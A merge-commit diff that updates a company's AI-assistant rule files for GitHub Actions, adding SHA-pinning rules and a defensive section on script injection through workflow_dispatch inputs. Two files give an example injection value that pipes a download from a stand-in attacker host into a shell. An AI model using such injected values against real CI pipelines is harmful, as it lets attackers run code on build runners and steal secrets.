refactor(release): merge develop into main

.claude/commands/composite.md

@@ -18,7 +18,9 @@ Before writing custom steps from scratch, search the [Marketplace](https://githu
 
 - Prefer a well-maintained marketplace action over custom shell scripting for non-trivial logic
 - Wrap it in a composite if it needs input normalization or additional steps
-- Pin to a specific tag or SHA — never `@main` or `@master`
+- **Third-party actions (outside `LerianStudio` org) must be pinned by commit SHA**, not by tag — add a `# vX.Y.Z` comment for readability (e.g., `uses: actions/checkout@abc123 # v6`). Tags are mutable and can be force-pushed by upstream maintainers. Dependabot proposes SHA bumps automatically.
+- `LerianStudio/*` actions are pinned by **release tag** (`@v1.2.3`) or branch (`@develop` for testing)
+- Never use `@main` or `@master` for third-party actions
 - Document in the composite `README.md` why that action was chosen
 
 Only implement from scratch when no suitable action exists or when existing ones don't meet security or customization requirements.

.claude/commands/gha.md

@@ -119,7 +119,9 @@ Before writing custom steps from scratch, search the [Marketplace](https://githu
 
 - Prefer a well-maintained marketplace action over custom shell scripting for non-trivial logic
 - If the action needs wrapping, create a composite in `src/` — don't inline complex shell directly in a workflow
-- Pin to a specific tag or SHA — never `@main` or `@master`
+- **Third-party actions (outside `LerianStudio` org) must be pinned by commit SHA**, not by tag — add a comment with the version for readability (e.g., `uses: actions/checkout@abc123 # v6`). Tags are mutable and can be force-pushed by upstream maintainers. Dependabot will propose SHA bumps automatically.
+- `LerianStudio/*` actions are pinned by **release tag** (e.g., `@v1.2.3`) or branch (`@develop` for testing)
+- Never use `@main` or `@master` for third-party actions
 - Document in the README or `docs/` why that action was chosen
 
 Only implement from scratch when no suitable action exists or when existing ones don't meet security or customization requirements.
@@ -223,7 +225,7 @@ runs-on: self-hosted
 
 Every reusable workflow must:
 - support `workflow_call` (for external callers)
-- support `workflow_dispatch` (for manual testing)
+- **must NOT have `workflow_dispatch`** — manual testing belongs in `self-*` entrypoints (see [script injection risk](#script-injection--workflow_dispatch))
 - expose explicit `inputs` — never rely on implicit context
 - **always include a `dry_run` input** (`type: boolean`, `default: false`)
 
@@ -242,15 +244,6 @@ on:
     secrets:
       DEPLOY_TOKEN:
         required: true
-  workflow_dispatch:
-    inputs:
-      environment:
-        required: true
-        type: string
-      dry_run:
-        description: Preview changes without applying them
-        type: boolean
-        default: false
 ```
 
 ## Step section titles
@@ -466,16 +459,78 @@ uses: ./src/setup-go  # resolves to caller's workspace, not this repo
 
 # ❌ Mutable ref on third-party actions
 uses: some-action/tool@main
+
+# ❌ Third-party action pinned by tag (tags are mutable)
+uses: actions/checkout@v6
+uses: crazy-max/ghaction-import-gpg@v7
+
+# ✅ Third-party action pinned by commit SHA
+uses: actions/checkout@abc123def456 # v6
+uses: crazy-max/ghaction-import-gpg@2dc316deee8e # v7
 ```
 
 ## Security rules
 
-- Pin all third-party actions to a specific tag or SHA — Dependabot keeps them updated
+- **Third-party actions (outside `LerianStudio` org) must be pinned by commit SHA** — tags are mutable and can be force-pushed. Add a `# vX.Y.Z` comment for readability. Dependabot keeps SHA pins updated automatically.
+- `LerianStudio/*` actions use release tags (`@v1.2.3`) — no SHA pinning needed for org-owned actions
 - Never use `@main` or `@master` for third-party actions
 - Never interpolate untrusted user input directly into `run:` commands
 - Never print secrets via `echo`, env dumps, or step summaries
 - Complex conditional logic belongs in the workflow, not in composites
 
+### Script injection & `workflow_dispatch`
+
+`workflow_dispatch` inputs are **user-controlled free-text** — they are a script injection vector when interpolated into `run:` blocks, `github-script`, or any expression context.
+
+**Why reusable workflows must NOT have `workflow_dispatch`:**
+
+1. **Attack surface** — any repo collaborator can trigger the workflow with arbitrary input values. If those values reach a `run:` step via `${{ inputs.xxx }}`, an attacker can inject shell commands.
+2. **Redundancy** — `self-*` entrypoints already provide `workflow_dispatch` with controlled, repo-specific defaults. Adding it to the reusable workflow duplicates the trigger surface without added value.
+3. **Input type mismatch** — `workflow_dispatch` inputs are always strings (even booleans become `"true"`/`"false"`), causing subtle type bugs when the same input is `type: boolean` under `workflow_call`.
+
+```yaml
+# ❌ Reusable workflow with workflow_dispatch — injection risk + type mismatch
+on:
+  workflow_call:
+    inputs:
+      environment:
+        type: string
+  workflow_dispatch:
+    inputs:
+      environment:        # string — attacker can inject: "; curl evil.com | sh"
+        type: string
+
+# ✅ Reusable workflow — workflow_call only
+on:
+  workflow_call:
+    inputs:
+      environment:
+        type: string
+
+# ✅ self-* entrypoint provides the manual trigger with safe defaults
+name: Self — Deploy
+on:
+  workflow_dispatch:
+    inputs:
+      environment:
+        type: choice           # choice, not free-text — no injection
+        options: [staging, production]
+jobs:
+  deploy:
+    uses: ./.github/workflows/deploy.yml
+    with:
+      environment: ${{ inputs.environment }}
+    secrets: inherit
+```
+
+**When `workflow_dispatch` is allowed on a reusable workflow:**
+
+Only when **all** of the following are true:
+- The workflow is **not consumed by external repos** (internal-only)
+- Every `workflow_dispatch` input uses `type: choice` or `type: boolean` — **never free-text `type: string`**
+- No input value is interpolated into `run:` blocks — only into `with:` parameters of trusted actions
+- The decision is documented with a `# Security: workflow_dispatch approved — <reason>` comment
+
 ---
 
 # Composite Actions — Rules & Conventions

.claude/commands/workflow.md

@@ -18,7 +18,9 @@ Before implementing custom steps inside a workflow, search the [Marketplace](htt
 
 - Prefer a well-maintained action over custom shell scripting for non-trivial logic
 - If the action needs wrapping (normalization, extra steps), create a composite in `src/` and call it from the workflow — don't inline complex shell in the workflow itself
-- Pin to a specific tag or SHA — never `@main` or `@master`
+- **Third-party actions (outside `LerianStudio` org) must be pinned by commit SHA**, not by tag — add a `# vX.Y.Z` comment for readability (e.g., `uses: actions/checkout@abc123 # v6`). Tags are mutable and can be force-pushed by upstream maintainers. Dependabot proposes SHA bumps automatically.
+- `LerianStudio/*` actions are pinned by **release tag** (`@v1.2.3`) or branch (`@develop` for testing)
+- Never use `@main` or `@master` for third-party actions
 - Document in `docs/<workflow-name>.md` why that action was chosen
 
 Only implement from scratch when no suitable action exists or when existing ones don't meet security or customization requirements.
@@ -114,7 +116,7 @@ runs-on: self-hosted
 
 Every reusable workflow must:
 - support `workflow_call` (for external callers)
-- support `workflow_dispatch` (for manual testing)
+- **must NOT have `workflow_dispatch`** — manual testing belongs in `self-*` entrypoints (see [script injection risk](#script-injection--workflow_dispatch))
 - expose explicit `inputs` — never rely on implicit context
 - **always include a `dry_run` input** (`type: boolean`, `default: false`)
 
@@ -133,15 +135,6 @@ on:
     secrets:
       DEPLOY_TOKEN:
         required: true
-  workflow_dispatch:
-    inputs:
-      environment:
-        required: true
-        type: string
-      dry_run:
-        description: Preview changes without applying them
-        type: boolean
-        default: false
 ```
 
 ## Configurability — expose composite toggles as workflow inputs
@@ -340,16 +333,76 @@ uses: ./src/setup-go  # resolves to caller's workspace, not this repo
 
 # ❌ Mutable ref on third-party actions
 uses: some-action/tool@main
+
+# ❌ Third-party action pinned by tag (tags are mutable)
+uses: actions/checkout@v6
+
+# ✅ Third-party action pinned by commit SHA
+uses: actions/checkout@abc123def456 # v6
 ```
 
 ## Security rules
 
-- Pin all third-party actions to a specific tag or SHA — Dependabot keeps them updated
+- **Third-party actions (outside `LerianStudio` org) must be pinned by commit SHA** — tags are mutable and can be force-pushed. Add a `# vX.Y.Z` comment for readability. Dependabot keeps SHA pins updated automatically.
+- `LerianStudio/*` actions use release tags (`@v1.2.3`) — no SHA pinning needed for org-owned actions
 - Never use `@main` or `@master` for third-party actions
 - Never interpolate untrusted user input directly into `run:` commands
 - Never print secrets via `echo`, env dumps, or step summaries
 - Complex conditional logic belongs in the workflow, not in composites
 
+### Script injection & `workflow_dispatch`
+
+`workflow_dispatch` inputs are **user-controlled free-text** — they are a script injection vector when interpolated into `run:` blocks, `github-script`, or any expression context.
+
+**Why reusable workflows must NOT have `workflow_dispatch`:**
+
+1. **Attack surface** — any repo collaborator can trigger the workflow with arbitrary input values. If those values reach a `run:` step via `${{ inputs.xxx }}`, an attacker can inject shell commands.
+2. **Redundancy** — `self-*` entrypoints already provide `workflow_dispatch` with controlled, repo-specific defaults. Adding it to the reusable workflow duplicates the trigger surface without added value.
+3. **Input type mismatch** — `workflow_dispatch` inputs are always strings (even booleans become `"true"`/`"false"`), causing subtle type bugs when the same input is `type: boolean` under `workflow_call`.
+
+```yaml
+# ❌ Reusable workflow with workflow_dispatch — injection risk + type mismatch
+on:
+  workflow_call:
+    inputs:
+      environment:
+        type: string
+  workflow_dispatch:
+    inputs:
+      environment:        # string — attacker can inject: "; curl evil.com | sh"
+        type: string
+
+# ✅ Reusable workflow — workflow_call only
+on:
+  workflow_call:
+    inputs:
+      environment:
+        type: string
+
+# ✅ self-* entrypoint provides the manual trigger with safe defaults
+name: Self — Deploy
+on:
+  workflow_dispatch:
+    inputs:
+      environment:
+        type: choice           # choice, not free-text — no injection
+        options: [staging, production]
+jobs:
+  deploy:
+    uses: ./.github/workflows/deploy.yml
+    with:
+      environment: ${{ inputs.environment }}
+    secrets: inherit
+```
+
+**When `workflow_dispatch` is allowed on a reusable workflow:**
+
+Only when **all** of the following are true:
+- The workflow is **not consumed by external repos** (internal-only)
+- Every `workflow_dispatch` input uses `type: choice` or `type: boolean` — **never free-text `type: string`**
+- No input value is interpolated into `run:` blocks — only into `with:` parameters of trusted actions
+- The decision is documented with a `# Security: workflow_dispatch approved — <reason>` comment
+
 ### Reserved names — never use as custom secret or input names
 
 Never declare secrets or inputs using GitHub's reserved prefixes — they break jobs silently:

.cursor/rules/composite-actions.mdc

@@ -28,7 +28,9 @@ Before writing custom steps from scratch, search the [Marketplace](https://githu
 
 - Prefer a well-maintained marketplace action over custom shell scripting for non-trivial logic
 - Wrap it in a composite if it needs input normalization or additional steps
-- Pin to a specific tag or SHA — never `@main` or `@master`
+- **Third-party actions (outside `LerianStudio` org) must be pinned by commit SHA**, not by tag — add a `# vX.Y.Z` comment for readability (e.g., `uses: actions/checkout@abc123 # v6`). Tags are mutable and can be force-pushed by upstream maintainers. Dependabot proposes SHA bumps automatically.
+- `LerianStudio/*` actions are pinned by **release tag** (`@v1.2.3`) or branch (`@develop` for testing)
+- Never use `@main` or `@master` for third-party actions
 - Document in the composite `README.md` why that action was chosen
 
 Only implement from scratch when no suitable action exists or when existing ones don't meet security or customization requirements.

.cursor/rules/reusable-workflows.mdc

@@ -28,7 +28,9 @@ Before implementing custom steps inside a workflow, search the [Marketplace](htt
 
 - Prefer a well-maintained action over custom shell scripting for non-trivial logic
 - If the action needs wrapping (normalization, extra steps), create a composite in `src/` and call it from the workflow — don't inline complex shell in the workflow itself
-- Pin to a specific tag or SHA — never `@main` or `@master`
+- **Third-party actions (outside `LerianStudio` org) must be pinned by commit SHA**, not by tag — add a `# vX.Y.Z` comment for readability (e.g., `uses: actions/checkout@abc123 # v6`). Tags are mutable and can be force-pushed by upstream maintainers. Dependabot proposes SHA bumps automatically.
+- `LerianStudio/*` actions are pinned by **release tag** (`@v1.2.3`) or branch (`@develop` for testing)
+- Never use `@main` or `@master` for third-party actions
 - Document in `docs/<workflow-name>.md` why that action was chosen
 
 Only implement from scratch when no suitable action exists or when existing ones don't meet security or customization requirements.
@@ -408,7 +410,8 @@ uses: some-action/tool@main    # use a specific tag or SHA
 
 ## Security rules
 
-- Pin all third-party actions to a specific tag or SHA — Dependabot keeps them updated
+- **Third-party actions (outside `LerianStudio` org) must be pinned by commit SHA** — tags are mutable and can be force-pushed. Add a `# vX.Y.Z` comment for readability. Dependabot keeps SHA pins updated automatically.
+- `LerianStudio/*` actions use release tags (`@v1.2.3`) — no SHA pinning needed for org-owned actions
 - Never use `@main` or `@master` for third-party actions
 - Never interpolate untrusted user input directly into `run:` commands
 - Never print secrets via `echo`, env dumps, or step summaries

.github/labels.yml

@@ -91,3 +91,7 @@
 - name: lint
   color: "7c3aed"
   description: Changes to linting and code quality checks
+
+- name: validate
+  color: "1d76db"
+  description: Changes to PR validation composite actions (src/validate/)